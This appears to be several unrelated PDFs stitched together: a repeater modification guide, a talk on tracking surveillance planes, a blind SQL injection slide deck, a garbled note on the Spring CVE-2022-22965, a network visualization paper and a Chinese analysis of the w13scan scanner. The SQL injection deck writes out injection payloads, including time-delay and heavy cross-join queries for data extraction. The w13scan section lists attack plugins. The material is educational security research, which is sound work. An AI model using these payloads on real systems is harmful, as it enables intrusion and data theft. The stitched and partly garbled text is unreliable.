Attach one side to L17, C18, C17 junction and the other to the trace coming from R7.
To compensate for the additional 2dB of loss in the new image rejection filter, Remove
R8 and replace with C15. Remove R7 and replace with a wire jumper.
Attach a wire jumper from the inductor at C19 to the pad at old L16.
Clean solder flux with rag and alcohol.
Replace the module cover and proceed with tuning.
Phase 5: VHF Receiver Front End Module Tuning
Tuning has to be done with the module out of the T/R frame as there is no way to get
tools and your hand in there at the same time, I’ve tried. So perform the following
connections.
RF Input to Spectrum Analyzer Tracking Generator Output
IF Output to Spectrum Analyzer RF Input
LO Output to LO Input via 2’ BNC jumper cable.
Clip lead with +12 (Backplane J5, Pin 3) to L21, C32 Junction. You may have to add a
wire jumper to make a connection point on the Front end depending on revision of
board you have, and care should be taken not to short J5.
Once that is done set the following on the Spectrum Analyzer, Center frequency =
Receive frequency, Span 10 MHz, Track Generator +0dBm, 10dB per division.
To get close, start with only the first slug, the one closest to the RF Input jack. Replace
the retention nut on the slug and insert back into the helical casting. Tighten down the
nut until the slug moves at the desired tension. Take the cable feeding the SA Input and
hold it to the next hole in line and tune the first slug until the peak is at the center range.
The signal should be -70 to -50dB down from +0dBm.
Repeat procedure with following slugs advancing to next set of holes. Adjust for best
flatness at the top of the graph.
When on the last slug, set the tracking generator to output -30dBm and connect SA
Input back to LO Output of Receiver Front End Module. Readings are now
approximately 35dB down from the input. Adjust the last slug for maximum level, then
proceed to adjust L1-L5 for best possible response. The response should be tuned to 3
MHz wide at the 3dB points.
To test for conversion gain, set Spectrum Analyzer center frequency to 21.4 MHz.
Offset the tracking generator so the output sweeps the center receiver frequency
(146.04 MHz – 21.4 MHz = 124.64 MHz). The level of 21.4 MHz spike should be within
1dB of tracking generator output signal (-30dBm).
Phase 6: T/R Frame
Replace modules in T/R frame in following order Left to Right.
Large cards:
Transmit Synthesizer Module
Receiver Synthesizer Module
Receiver Front End Module
Receiver IF Module
Small Cards:
System Module
Blank
Blank
Blank
Power Module
Note, that some stations may have accessory cards in the blank areas.
Connect service monitor with SINAD measuring ability to RF Input and take a
connection from the station speaker for audio. Verify Receiver comes to factory
specification of -116dBm (0.35uV), mine comes to -118dBm (0.28uV), be sure to add
cable loss into your figures.
External controller interfacing may be done following the instructions here:
http://www.hamrepeater.com/n0ndp/GE-Ericsson-MACOM/Mastr-III
%20manuals/mastr3ctrl.doc
Phase 7: VHF Power Amplifier
Please Refer to LBI38531A
The circuitry for the VHF Amplifier and Low Pass Filter is perfect, don’t mess with it.
Connect the output from the Transmit side of the T/R frame to the input of the Power
Amplifier. In MASTRUTL.BAT from the Potentiometer screen adjust Power Output to
99.
Unscrew the Low Pass Filter and lid from the PA assembly. Connect a Bird 43 with a
suitable dummy load and 250W 125-250MHz slug or equivalent to the output connector
of the LPF. Key the repeater. Adjust the potentiometer on the Power Amplifier board
until 135W is indicated on the meter, mine is labeled ‘R217’. Adjust the Power Output
value in the software until the desired power level is achieved.
Reattach the lid and Low Pass Filter and reassemble the repeater.
Text edited by: Bob Meister, WA1MIK
Photographs by: Matt Krick, K3MK
Legal notice - All the material in this technical service bulletin is Copyright 2008 Matt
Krick, K3MK, All Rights Reserved.
The author takes no responsibility for any damage during the modification or for any
wrong information made on this modification. Your results may vary.
Commercial use of this bulletin is not authorized without express written permission of
the author.
Furthermore, this work is specifically prohibited from being posted to www.mods.dk or
any other ‘limited free site’. Please ask for permission before posting elsewhere. | pdf |
TRACKING SPIES IN THE SKIES
FBI CESSNA N496WW. PHOTO BY CHRIS KENNEDY
ABOUT THE TALK
LAW ENFORCEMENT AND AERIAL SURVEILLANCE
History of aerial surveillance (Sam Richards)
Technology on spy planes (Jerod MacDonald-Evoy)
Detecting surveillance aircraft (Jason Hernandez)
@minneapolisam
@jerodmacevoy
@jason_nstar
HISTORY OF THE SKY SPIES
Odd ight patterns noticed,
, Baltimore
r/conspiracy (John Wiesman - ADSB Detection)
Citizen journalists (
) #FBISkySpies and
, links to FlightRadar24 tracks
WSJ
Sam Richards
100 Tail-
numbers
SKY SPIES 101
goes viral, a week later
(nothing happens)
FBI Planes hidden behind front companies (FVX Research, et. al)
Sam's story
AP breaks it into the
mainstream
Sen. Franken calls for investigation
WHAT WE KNOW
FAA FOIA DATA
GEOSPATIAL ANALYSIS
SURVEILLANCE INDUSTRIAL COMPLEX
TYPES OF AIRCRAFT
Small xed wing (Cessnas)
Large dual engine (Beechcraft)
Military style (Pilatus)
Helicopters
Drones (Small and Large)
PHOENIX PD PILATUS PC-12. PHOTO BY CHRIS KENNEDY
EQUIPMENT
Infrared cameras -
and other models
Cell site simulators (a.k.a. Stingrays, IMSI catchers, etc.)
"LETC" Devices [Law Enforcement Technical Collection]
Wescam by L3 Communications
FLIR SAFIRE
EXAMPLES OF USE
FBI Aerial Surveillance of Freddie Grey protests
Phoenix PD used Pilatus to follow U-Haul thief
FBI Aerial Surveillance of Arizona I-10 shooter suspect's apartment
HIDDEN IN PLANE SIGHT
FBI, CBP, DEA and DOJ use of front companies
The Delaware problem
$10 FAA records request reveals equipment
PHOENIX PD PLANE
FOOTAGE OBTAINED VIA PUBLIC RECORDS REQUEST FROM PHOENIX PD
0:00 / 1:37
VIDEO AT ARCHIVE.ORG
VIDEO AT YOUTUBE.COM
TRACKING THE SKY SPIES
How do we more generally detect surveillance aircraft and
activity?
Registrations can be changed and obscured
Many surveillance technologies are commercially available
How much surveillance is happening in other parts of the world?
Technical and operational requirements dictate ight patterns
Surveillance ights look very dierent from most other trac
SCREEN-CAPTURE BY BRIAN ABELSON. CONTENT FROM FLIGHTRADAR24.COM
TRACKING AIRCRAFT
Tracking aircraft - radar is not practical for hobbyists
Aircraft transponders transmit a beacon signal with a unique
identier (ICAO address)
Protocol:
Positions can be calculated with
Compare time dierence of messages arriving at multiple
receivers
Requires 4+ receivers for accurate calculation
Aggregator networks collect feeds from ADS-B receivers and
calculate aircraft positions
Some aircraft also transmit additional information: (latitude /
longitude), call sign, altitude, etc.
Currently not required for all aircraft, and may not be accurate
Automatic Dependent Surveillance-Broadcast (ADS-B)
multilateration
GATHERING ADS-B DATA AT SCALE
Active community of radio / aviation / hacking enthusiasts collect
ADS-B data
Requires a Raspberry Pi 1B+, an RTL-SDR radio, antenna, and
internet connection (< $100)
Multiple aggregators collect ADS-B data and calculate positions
,
,
Part of the "NextGen" program
Similar regulations in .EU, .IN, .AU, elsewhere
FlightRadar24.com FlightAware.com adsbexchange.com
FAA regulations require an increasing number of aircraft to
transmit ADS-B
LIMITATIONS TO DATA
Major commercial ight tracking sites augment their data with
FAA radar data
FAA data comes with restrictions that tracking sites do not publish
positions of aircraft on the
Bulk access to data is limited or expensive
ADS-B Exchange is an exception
Does not use FAA data, does not censor ights
Provides free access to live & historical data
Donation info on their
FAA's block list
site
PICKING SURVEILLANCE FLIGHTS OUT OF THE
DATA
There are over 80,000 ights a day (~10 gb / day)
At any given time 8,000~13,000 aircraft are in the air
Most of these are not surveillance ights
How do we pick out the surveillance ights?
SURVEILLANCE FLIGHTS VS. OTHERS
Most non-surveillance trac goes from point A to B as quickly and
directly as possible
Minimizes ying over populated areas and crossing in to airports'
controlled airspace
A MAP OF CONTROLLED AIRSPACE AROUND PHOENIX SKY HARBOR AIRPORT, FROM OPENAIP
TECHNICAL / OPERATIONAL CONSTRAINTS OF
SURVEILLANCE FLIGHTS
Altitude "sweet spot"
Cell site simulators -
Surveillance ights typically take o and land at the same airport
Cover densely populated metro areas
Aircraft capabilities - airspeed, power output, weight capability
range of ~2 miles
SURVEILLANCE SCORE METHODOLOGY
Calculate headings of each aircraft and increase the score each
time it changes > 90 degrees
Conditional based on altitude
Sweet spot is appx. 6,000 - 12,000 ft
Future renements:
Consider proximity to airports and controlled airspace
Score based on aircraft model
Increase score if on FAA block list
Additional geometric calulations to lter out survey activity
Compare ights to interesting geography -- borders, events, etc.
PATTERN BASED DETECTION
Surveillance ights make a large number of turns
Most ights with 30+ turns "look" like surveillance ights
SCREEN-CAPTURE BY GLOBAL REVOLUTION TV. CONTENT FROM FLIGHTRADAR24.COM
IMPLEMENTATION / ARCHITECTURE
EXAMPLE
WHAT YOU CAN DO TO TRACK SPY PLANES
Set up an ADS-B receiver for < $100 and feed data to
adsbexchange.com
Donate to adsbexchange.com
Use, fork, and improve our application
QUESTIONS + MORE INFO:
For interesting links and a copy of the presentation, see
https://www.nstarpost.com
github.com/nstarpost
twitter.com/nstarpost
https://www.nstarpost.com/defcon-25/
NOTES, LINKS, AND ERRATA:
Airworthiness records in the US are available at
A recent copy of the FAA's block list is available on
,
thanks to a request from Tony Webster
The discussion of ADS-B skipped over mentioning
transmissions
Mode-S is a simpler protocol that does not include location
data, but transmissions are locatable with multilateration
The slide "Phoenix PD Plane" was edited to add video links, and
various other links were added for reference
The aircraft shown in the "Example" slide was speculated to be
conducting speed patrols, but we believe it to be unlikely based on
further research
Machine learning is another avenue for improvement
"LETC" was spelled out
https://aircraft.faa.gov/e.gov/ND/
Muckrock
Mode-S | pdf |
07/04/2008
1
Speakers:
Chema Alonso
José Parada
Informática64
Microsoft
MS MVP Windows Security
IT Pro Evangelist
[email protected]
[email protected]
Agenda
Code Injections
What are Blind Attacks?
Blind SQL Injection Attacks
Tools
Time-Based Blind SQL Injection
Tools
Time-Based Blind SQL Injection using heavy queries
Demos
Marathon Tool
07/04/2008
2
Code Injection
Developer don´t sanitize correctly the input parameters
and use them in queries directly:
Command Injection
SQL Injection
LDAP Injection
Xpath Injection
Blind Attacks
Attacker injects code but can´t access directly to the
data.
However this injection changes the behavior of the
web application.
Then the attacker looks for differences between true
code injections (1=1) and false code injections (1=2) in
the response pages to extract data.
07/04/2008
3
Blind SQL Injection Attacks
Attacker injects:
“True where clauses”
“False where clauses“
Ex:
Program.php?id=1 and 1=1
Program.php?id=1 and 1=2
Program returns not any visible data from database
nor data in error messages either.
The attacker can´t see any data extracted from the
database.
Blind SQL Injection Attacks
Attacker analyzes the response pages looking for
differences between “True-Answer Page” and “False-
Answer Page”:
Different hashes
Different html structure
Different patterns (keywords)
Different linear ASCII sums
“Different behavior”
By example: Response Time
07/04/2008
4
Example: “True-Answer Page”
Example: “False-Answer Page”
07/04/2008
5
Blind SQL Injection Attacks
If any difference exist, then:
Attacker can extract all information from database
How? Using “booleanization”
MySQL:
Program.php?id=1 and 100>(ASCII(Substring(user(),1,1)))
“True-Answer Page” or “False-Answer Page”?
MSSQL:
Program.php?id=1 and 100>(Select top 1
ASCII(Substring(name,1,1))) from sysusers)
Oracle:
Program.php?id=1 and 100>(Select ASCII(Substr(username,1,1)))
from all_users where rownum<=1)
Blind SQL Injection Attacks: Tools
SQLbfTools: Extract all information from MySQL
databases using patterns
07/04/2008
6
Blind SQL Injection Attacks: Tools
Absinthe: Extract all
information from
MSSQL and Oracle
Databases using Linear
sum of ASCII values.
Blind SQL Injection Attacks: Tools
Absinthe: Extract all
information from
MSSQL and Oracle
Databases using Linear
sum of ASCII values.
07/04/2008
7
Time-Based Blind SQL Injection
In scenarios with no differences between “True-
Answer Page” and “False-Answer Page”, time delays
could be use.
Injection forces a delay in the response page when the
condition injected is True.
- Delay functions:
SQL Server: waitfor
Oracle: dbms_lock.sleep
MySQL: sleep or Benchmark Function
Ex:
; if (exists(select * from users)) waitfor delay '0:0:5’
Exploit for Solar Empire Web Game
07/04/2008
8
Time-Based Blind SQL Injection: Tools
SQL Ninja: Use exploitation of “Waitfor” method in
MSSQL Databases
Time-Based Blind SQL Injection
And in these scenarios with no differences between
“true-answer page” and “false-answer page”…
What about databases engines without delay
functions, i.e., MS Access, Oracle connection without
PL/SQL support, DB2, etc…?
Is possible to perform an exploitation of Time-Base
Blind SQL Injection Attacks?
07/04/2008
9
Time-Based Blind SQL Injection
using Heavy Queries
Attacker can perform an exploitation delaying the
“True-answer page” using a heavy query.
It depends on how the database engine evaluates the
where clauses in the query.
There are two types of database engines:
Databases without optimization processes.
The engine evaluates the condition in the where clauses from
left to right or from right to left.
Select items from table where codition1 and condition2.
It is a developer task to evaluate the lighter condition in first
place for better performance.
Time-Based Blind SQL Injection
using Heavy Queries
There are two types of database engines:
Databases with optimization processes.
The engine estimates the cost of the condition evaluations in
the where clauses and execute the lighter first. No matter
where it is.
Select items from table where codition1 and condition2.
It is a database engine task to improve the performance of the
query.
An Attacker could exploit a Blind SQL Injection attack
using heavy queries to obtain a delay in the “True-
answer page” in both cases.
07/04/2008
10
Time-Based Blind SQL Injection
using Heavy Queries
Attacker could injects a heavy Cross-Join condition for
delaying the response page in True-Injections.
The Cross-join injection must be heavier than the other
condition.
Attacker only have to know or to guess the name of a table
with select permission in the database.
Example in MSSQL:
Program.php?id=1 and (SELECT count(*) FROM sysusers AS
sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4,
sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers
AS sys8)>0 and 300>(select top 1 ascii(substring(name,1,1))
from sysusers)
Demo 1: MS SQL Server
Query lasts 14 seconds -> True-Answer
07/04/2008
11
Demo 1: MS SQL Server
Query lasts 1 second -> False-Answer
Demo 2: Oracle
Query Lasts 22 seconds –> True-Answer
07/04/2008
12
Demo 2: Oracle
Query Lasts 1 second –> False-Answer
Demo 3: Access 2000
Query Lasts 6 seconds –> True-Answer
07/04/2008
13
Demo 3: Access 2000
Query Lasts 1 second –> False-Answer
Demo 4: Access 2007
Query Lasts 39 seconds –> True-Answer
07/04/2008
14
Demo 4: Access 2007
Query Lasts 1 second –> False-Answer
Marathon Tool
Automates Time-Based Blind SQL Injection Attacks
using Heavy Queries in SQL Server and Oracle
Databases.
Schema Extraction
Developed in .NET
07/04/2008
15
Demo 5: Marathon Tool
Conclusions
Time-Based Blind SQL Injection using Heavy Queries
works with any database.
The delay generated with a heavy query depends on
the environment of the database and the network
connection.
It is possible extract all the information stored in the
database using this method.
We already have a POC tool for extract all the database
structure in MSSQL and Oracle engines.
07/04/2008
16
Questions?
Speakers:
Chema Alonso
[email protected]
Microsoft MVP Windows Security
Security Consultant
Informática64
José Parada
[email protected]
Microsoft IT Pro Evangelist
Microsoft
Authors:
Chema Alonso ([email protected])
Daniel Kachakil ([email protected])
Rodolfo Bordón ([email protected])
Antonio Guzmán ([email protected])
Marta Beltrán ([email protected])
32 | pdf |
CVE-2022-22965: Spring Framework RCE via
Data Binding on JDK 9+
20W Bug Bounty - 360
Spring20102010Spring
review
classclassloaderprotectionDomain
class.classloaderclassloader
jdk8jdk9
oracle/sun delayjdk9module.classloader
class.module.classLoader2010Spring
Moduleclassloader
Moduleclass
classloader2018Tomcat
classclassloadernameName
ClassloaderClassloader
1.
1.
Ref: https://docs.spring.io/spring-framework/docs/3.0.x/reference/validation.html
https://www.logicbig.com/tutorials/spring-framework/spring-core/data-binding.html
https://cloud.tencent.com/developer/article/1035297
http://rui0.cn/archives/1158 | pdf |
An Introduction to Network Security Data Visualization
Greg Conti
1. Introduction
The Internet is teeming with network traffic, usually benign, but occasionally
malicious. A recent study by the University of California at Berkeley estimated that
532,897 terabytes of information flowed across the Internet in 2002. Of that figure,
approximately 92,000 terabytes were World Wide Web traffic, 440,000 terabytes were
original email traffic and 274 terabytes were instant messaging traffic.1 Given an
estimate of 1 kilobyte per packet, approximately 533 trillion packets traversed the
Internet. While the exact percentage of malicious packets is not known, assuming a
conservative estimate of 0.1%, one can estimate the traffic in the hundreds of billions.
This figure is clouded by “crud” from legitimate traffic exhibiting abnormal behavior.2
Traditional intrusion detection systems use algorithmically implemented signature and
anomoly based techniques to detect attacks. These techniques, while effective, result in
an unacceptable amount of false positives and false negatives when confronted with the
sheer volume of network activity.
In this white paper, I present an approach to augment the algorithmically
implemented, traditional signature and anomoly based intrusion detection systems with
visualization techniques. This provides multiple benefits:
• By their very nature, most zero-day (never seen before) attacks do not match
existing intrusion signatures. Visualization techniques can provide clues to
impending attacks and facilitate quick response analysis.
• Some stealthy attacks are invisible to traditional intrusion detection systems, but
are readily visible using appropriate visualizations.
• Specific attack tools and exploits have visual fingerprints that can be used to
profile attackers.
• Visualization techniques can be used that require little state and are remarkably
resistant to resource consumption attacks that can incapacitate traditional
intrusion detection systems.
• Both real time and historical attacks can be visualized effectively, aiding forensic
analysis.
• An attacker’s methodology (foot printing, scanning, enumeration, gaining access,
escalating privilege, pilfering, covering tracks, creating back doors and denial of
service)3 can be seen in ways that supplement the capabilities of algorithmic
intrusion detection systems.
• Some system misconfigurations are readily apparent.
• Proper visualization can make monitoring network activity much more efficient
than monitoring system logs and alerts from intrusion detection systems.
• With properly designed tools, less experienced personnel can be quickly trained to
watch for attacks.
• Detecting insider threats can be easier.
• A secondary benefit is that educational Capture the Flag or Root Wars games can
be made more of a spectator sport, facilitating learning.
• Properly designed tools can help reduce the search space, find suspicious patterns,
enable “what if” interaction and prevent overwhelming the user.
2. Approach
Exploration of network security data is both an art and a science. I propose the
following methodology when attempting to use visualization techniques to support
network security:
1. Examine the nature of the datasets you have available.
2. Consider the meta-data you can calculate.
3. Develop candidate combinations that you think will be interesting.
4. Clean-up and parse the data.
5. Process the data.
5. Plot and explore the data using general-purpose tools.
6. Look for insights.
The following figure shows the data flow. As an example, lets take an in depth look at
the visualization of network sniffing data.
Examine the nature of the datasets you have available
In this case we are examining the header information available “on the wire.” Typically
this includes the link layer, network layer, transport layer and application layer. The
following figure illustrates the layers.4
For clarity, I will focus on the link (Ethernet), network (IP) and transport layer
(TCP&UDP) header information available from tcpdump. The following figures
illustrate the available information.
Ethernet Header5
IP Header6
TCP Header7
UDP Header8
Consider the meta-data you can calculate.
Beyond the information that can be directly gained from the header information there is a
great deal of meta-information that can be calculated. For example:
• Time of packet arrival
• Time between packets
• Size of packets
• Frequency of packets
• Actual checksum vs. stated checksum
• Compliance of packet with protocol
• Number of fragmented packets
• Possible fingerprint of host operating system9
Develop candidate combinations that you think will be interesting.
After you have become familiar with the data and meta-data you have available put
together some combinations that you think would be interesting to visualize. For
example:
source port vs. destination port
source IP vs. time (see full example online10)
source IP vs. destination IP vs. destination port (see full example online)11
.
.
.
The options are only limited by your creativity and the characteristics of the attacks you
are looking for.
For this example I will select source port and destination port.
Clean-up and parse the data.
Most general purpose visualization tools require that the data set adhere to certain
formatting guidelines (e.g. tab delimited, one element per line). In this example, I will
use Perl to parse and filter the output of tcpdump to provide me with the fields I am
interested in. The example parsing script in Appendix A demonstrates this.
The output from the script looks like this:
09 02 01 858240 0:6:5b:4:20:14 0:5:9a:50:70:9 10.100.1.120.4532 10.100.1.120 4532 10.1.3.0.1080 10.1.3.0 1080 tcp
09 02 02 178743 0:6:5b:4:20:14 0:5:9a:50:70:9 10.100.1.120.4537 10.100.1.120 4537 10.1.3.0.1080 10.1.3.0 1080 tcp
09 03 55 638701 0:6:5b:4:20:14 0:5:9a:50:70:9 10.100.1.120.2370 10.100.1.120 2370 10.1.3.0.1080 10.1.3.0 1080 tcp
09 03 56 000873 0:6:5b:4:20:14 0:5:9a:50:70:9 10.100.1.120.2375 10.100.1.120 2375 10.1.3.0.1080 10.1.3.0 1080 tcp
Process the data.
In this step you convert the data to the coordinates that you would like plotted by your
graphics program. For example, you may need to convert IP addresses to 32 bit integers.
In our example I want to plot the source port of all inbound packets along the left X axis (
0, port number) and all packets from my monitored machine along the right X axis ( 1,
port number). The example processing script in Appendix B demonstrates this.
The output from the script looks like this:
0 4532
1 1080
0 4537
1 1080
0 2370
1 1080
0 2375
1 1080
0 3532
1 8080
0 3537
1 8080
0 3958
<snipped>
Plot and explore the data using general-purpose tools.
At this stage you want to load the data into a general-purpose plotting tool such as gnu
plot. I chose xmgrace12 because of its self scaling and interactive capabilities (see sample
screen shot below).
When using the following grace configuration file, it will load the coordinates and plot
each pair as end points of a line.
#Demo Run
title "Port Scan Against Single Host"
subtitle "Superscan 3.0 w/Default Port Settings"
yaxis label "Port"
yaxis label place both
yaxis ticklabel place both
xaxis ticklabel off
xaxis tick major off
xaxis tick minor off
s0 color 4
s0 line type 4
autoscale
The following is a short howto for Grace:
To install grace...
Download RPMs (or source):
ftp://plasma-gate.weizmann.ac.il/pub/grace/contrib/RPMS
The files you want:
grace-5.1.14-1.i386.rpm
pdflib-4.0.3-1.i386.rpm
Install:
#rpm -i pdflib-4.0.3-1.i386.rpm
#rpm -i grace-5.1.14-1.i386.rpm
To run grace:
#xmgrace outfile.dat &
or
#xmgrace outfile.dat -batch grace_config.txt &
Where outfile.dat is a simple text file with a pair of X Y
coordinates per line and grace_config is the (optional) configuration file.
Look for insights.
During this stage use Grace to explore your data. In this example the overview of the
data looked like this:
The dataset I used for this example was a port scan using Superscan 3.0.13 By using
Grace’s zoom capability you can see that Superscan has a unique signature based on the
range and number of ports it uses as well as the ports it targets. This signature became
particularly clear when compared with scans from other tools such as an nmap14 UDP
scan (left) and an NmapWin connect scan (right).
Appendix A - Example Parser Script
#!/usr/bin/perl
# tcpdump parser
# parses out timestamp, src & dst mac, src & dst ip, src & dst port
# use tcpdump -l -nnqe tcp or udp | perl parse.pl
#
# -nn don't convert host, protocols and port numbers
# addresses to names
# -l use line buffered output
# -q quiet output
# tcp or udp passes only tcp or udp packets
while ($i=<STDIN>){
#$i = <STDIN>;
#parse input
@fields = split / /, $i;
#parse time field
$time = $fields[0];
@time_parse = split /:/, $time;
$hours = $time_parse[0];
$minutes = $time_parse[1];
$seconds = $time_parse[2];
@seconds_parse = split /\./, $seconds;
$seconds = $seconds_parse[0];
$useconds = $seconds_parse[1];
#parse macs
$src_mac = $fields[1];
$dst_mac = $fields[2];
#skip fields [3]
#parse source socket
$src_socket = $fields[4];
$src_ip = $src_socket;
$src_port = $src_socket;
$src_port =~ s/^\d+\.\d+\.\d+\.\d+\.//;
$src_len = length($src_port);
$socket_len = length($src_ip);
$src_ip = substr($src_ip, 0, $socket_len-$src_len-1);
#-1 to remove the final period
#skip direction symbol fields[5]
#parse destination socket
$dst_socket = $fields[6];
chop($dst_socket); #strip off the colon
$dst_ip = $dst_socket;
$dst_port = $dst_socket;
$dst_port =~ s/^\d+\.\d+\.\d+\.\d+\.//;
$port_len = length($dst_port);
$socket_len = length($dst_ip);
$dst_ip = substr($dst_ip, 0, $socket_len-$port_len-1);
#-1 to remove the final period
#parse packet type (tcp||udp)
$ip_packet_type = $fields[7];
#output
print "$hours $minutes $seconds $useconds ";
print "$src_mac $dst_mac ";
print "$src_socket $src_ip $src_port ";
print "$dst_socket $dst_ip $dst_port ";
print "$ip_packet_type";
print "\n";
} # main while loop
Appendix B - Example Analysis Script
#!/usr/bin/perl
# takes output from parse.pl script
while ($i=<STDIN>){
#parse input
@fields = split / /, $i;
$hours = $fields[0];
$minutes = $fields[1];
$seconds = $fields[2];
$useconds = $fields[3];
$src_mac = $fields[4];
$dst_mac = $fields[5];
$src_socket = $fields[6];
$src_ip = $fields[7];
$src_port = $fields[8];
$dst_socket = $fields[9];
$dst_ip = $fields[10];
$dst_port = $fields[11];
$ip_packet_type = $fields[12];
#print selected output
#print "$hours $minutes $seconds $useconds ";
#print "$src_mac $dst_mac ";
#print "$src_socket $src_ip $src_port ";
#print "$dst_socket $dst_ip $dst_port ";
#print "$ip_packet_type";
#print "\n";
#You will need to customize the $src_ip lines
#to let the program know what IP address (or
#range) you want displayed on the left or
#right side of the graph
#to select one IP as the target use
#if ($src_ip eq "192.168.1.250")...
#else...
if ($src_ip =~ m/^10\.100\./) { #I am the target
print "0 $src_port \n"; #0 x coord and $src_port y coord
print "1 $dst_port \n"; #1 x coord and $src_port y coord
} elsif ($src_ip =~ m/^10\.1\./) {#I am the destination
print "0 $dst_port \n";
print "1 $src_port \n";
}
} # main while loop
Bibliography
1 http://www.sims.berkeley.edu/research/projects/how-much-info-2003/
2 Paxson, Vern; “Bro: A System for Detecting Network Intruders in Real-Time;”
http://www.icir.org/vern/papers/bro-CN99.html, last accessed 20 February 2004.
3 Hacking Exposed
4 http://ai3.asti.dost.gov.ph/sat/levels.jpg
5 http://www.itec.suny.edu/scsys/vms/OVMSDOC073/V73/6136/ZK-3743A.gif
6 http://www.ietf.org/rfc/rfc0791.txt
7 http://www.ietf.org/rfc/rfc793.txt
8 http://www.ietf.org/rfc/rfc0768.txt
9 http://www.honeynet.org/papers/finger/
10 http://www.mts.jhu.edu/~marchette/ID04/homework1.txt
11 http://www.cs.hut.fi/~jtjuslin/OREILLY_v2.pdf
12 http://plasma-gate.weizmann.ac.il/Grace/
13 http://www.foundstone.com/
14 http://www.insecure.org/nmap/ | pdf |
Author: Recar
github: https://github.com/Ciyfly
w13scan浅析
w13scan 是一款由w8ay开发的python3的主被动扫描器
被动代理基于 baseproxy.py 作者是 qiye
主动扫描默认是没有爬虫的
这里分析将分为几个部分 基础模块 主动扫描 被动扫描 扫描模块 学习的地方
w13scan浅析
简单的流程图
基础模块
一些环境检测和补丁
version_check()
modulePath()
patch_all()补丁
初始化
主动扫描
FakeReq
FakeResp 解析响应
被动扫描
扫描模块
什么时候启动扫描模块
start方法
run_threads 创建线程
task_run 运行任务
printProgress 输出目前的扫描任务情况
loader插件 主动扫描的解析插件 插件入口
PluginBase 基础插件父类
execute 传入req rsp poc主要函数
paramsCombination 组合dict参数
ResultObject 统一的结果类
self.success 输出漏洞
loader audit loader插件最终执行的方法
PerServer 检测模块 对每个domain的
backup_domain 基于域名的备份文件
errorpage 错误暴露信息
http_smuggling http smuggling 走私攻击
idea idea目录解析
iis_parse iis解析漏洞
net_xss net 通杀xss
swf_files 通用flash的xss
PerFolder 检测模块 针对url的目录,会分隔目录分别访问
backup_folder 扫描备份文件
directory_browse 判断是否是目录遍历
phpinfo_craw 查看此目录下是否存在 phpinfo文件
repository_leak 基于流量动态查找目录下源码泄露
PerFile 检测模块 针对每个文件,包括参数
analyze_parameter 反序列化参数分析插件
backup_file 基于文件的备份扫描
command_asp_code asp代码注入
command_php_code php代码注入
command_system 系统命令注入
directory_traversal 路径穿越插件
js_sensitive_content js文件敏感内容匹配
jsonp JSONP寻找插件
php_real_path 信息泄露
poc_fastjson 打fastjson的
shiro Shiro框架检测以及Key爆破
sqli_bool 布尔注入检测
sqli_error 报错注入
sqli_time 时间注入
ssti ssti模板注入探测
struts2_032 Struts2-032远程代码执行
struts2_045 Struts2-045远程代码执行
unauth 未授权访问探测插件
webpack webpack源文件泄漏
xss XSS语义化探测
SearchInputInResponse 解析html查找回显位置
如果回显位置是在html里
如果回显位置是在attibute里
测试 attibutes
测试 html
针对特殊属性进行处理
如果回显位置是注释里
如果回显位置是script里
如果回显的位置是 InlineComment js单行注释
如果回显的位置是 BlockComment js块注释
如果回显的位置是 ScriptIdentifier
如果回显的位置是 ScriptLiteral
学习的地方 (可以抄)
colorama 控制台彩色输出 支持windows
随机banner
load_file_to_module 另一种动态加载插件的方式
解析post数据类型
raw方法
text 自动解码响应体
将参数拆分为名称和值 返回字典
对url去重泛化模块
代理模块
xss 语法语义的形式
等等
简单的流程图
基础模块
一些环境检测和补丁
version_check()
检测是否py3
modulePath()
方法是如果是将这个w13scan.py打包成exe了的获取的路径 源自 sqlmap
patch_all()补丁
关闭https请求时的验证及 忽略urllib3的日志
def patch_all():
disable_warnings()
logging.getLogger("urllib3").setLevel(logging.CRITICAL)
ssl._create_default_https_context = ssl._create_unverified_context
Session.request = session_request
初始化
初始化一些路径 配置 和共享数据等
# 路径
# setPaths(root) 函数
path.root = root
path.certs = os.path.join(root, 'certs')
path.scanners = os.path.join(root, 'scanners')
path.data = os.path.join(root, "data")
path.fingprints = os.path.join(root, "fingprints")
path.output = os.path.join(root, "output")
# kb
KB['continue'] = False # 线程一直继续
KB['registered'] = dict() # 注册的漏洞插件列表
KB['fingerprint'] = dict() # 注册的指纹插件列表
KB['task_queue'] = Queue() # 初始化队列
KB["spiderset"] = SpiderSet() # 去重复爬虫
KB["console_width"] = getTerminalSize() # 控制台宽度
KB['start_time'] = time.time() # 开始时间
KB["lock"] = threading.Lock() # 线程锁
KB["output"] = OutPut()
KB["running_plugins"] = dict()
KB['finished'] = 0 # 完成数量
KB["result"] = 0 # 结果数量
KB["running"] = 0 # 正在运行数量
#conf
conf.version = False
conf.debug = DEBUG
conf.level = LEVEL
conf.server_addr = None
conf.url = None
conf.url_file = None
conf.proxy = PROXY_CONFIG
conf.proxy_config_bool = PROXY_CONFIG_BOOL
conf.timeout = TIMEOUT
conf.retry = RETRY
conf.html = False
conf.json = False
conf.random_agent = False
conf.agent = DEFAULT_USER_AGENT
conf.threads = THREAD_NUM
conf.disable = DISABLE
conf.able = ABLE
# not in cmd parser params
conf.excludes = EXCLUDES
conf.XSS_LIMIT_CONTENT_TYPE = XSS_LIMIT_CONTENT_TYPE
# 并且通过initPlugins函数加载检测插件
for root, dirs, files in os.walk(path.scanners):
files = filter(lambda x: not x.startswith("__") and x.endswith(".py"), files)
for _ in files:
q = os.path.splitext(_)[0]
if conf.able and q not in conf.able and q != 'loader':
continue
if conf.disable and q in conf.disable:
continue
filename = os.path.join(root, _)
mod = load_file_to_module(filename)
try:
mod = mod.W13SCAN()
mod.checkImplemennted()
plugin = os.path.splitext(_)[0]
plugin_type = os.path.split(root)[1]
relative_path = ltrim(filename, path.root)
if getattr(mod, 'type', None) is None:
setattr(mod, 'type', plugin_type)
if getattr(mod, 'path', None) is None:
setattr(mod, 'path', relative_path)
KB["registered"][plugin] = mod
except PluginCheckError as e:
logger.error('Not "{}" attribute in the plugin:{}'.format(e, filename))
except AttributeError:
logger.error('Filename:{} not class "{}"'.format(filename, 'W13SCAN'))
logger.info('Load scanner plugins:{}'.format(len(KB["registered"])))
# 加载指纹
num = 0
for root, dirs, files in os.walk(path.fingprints):
files = filter(lambda x: not x.startswith("__") and x.endswith(".py"), files)
for _ in files:
filename = os.path.join(root, _)
if not os.path.exists(filename):
continue
name = os.path.split(os.path.dirname(filename))[-1]
mod = load_file_to_module(filename)
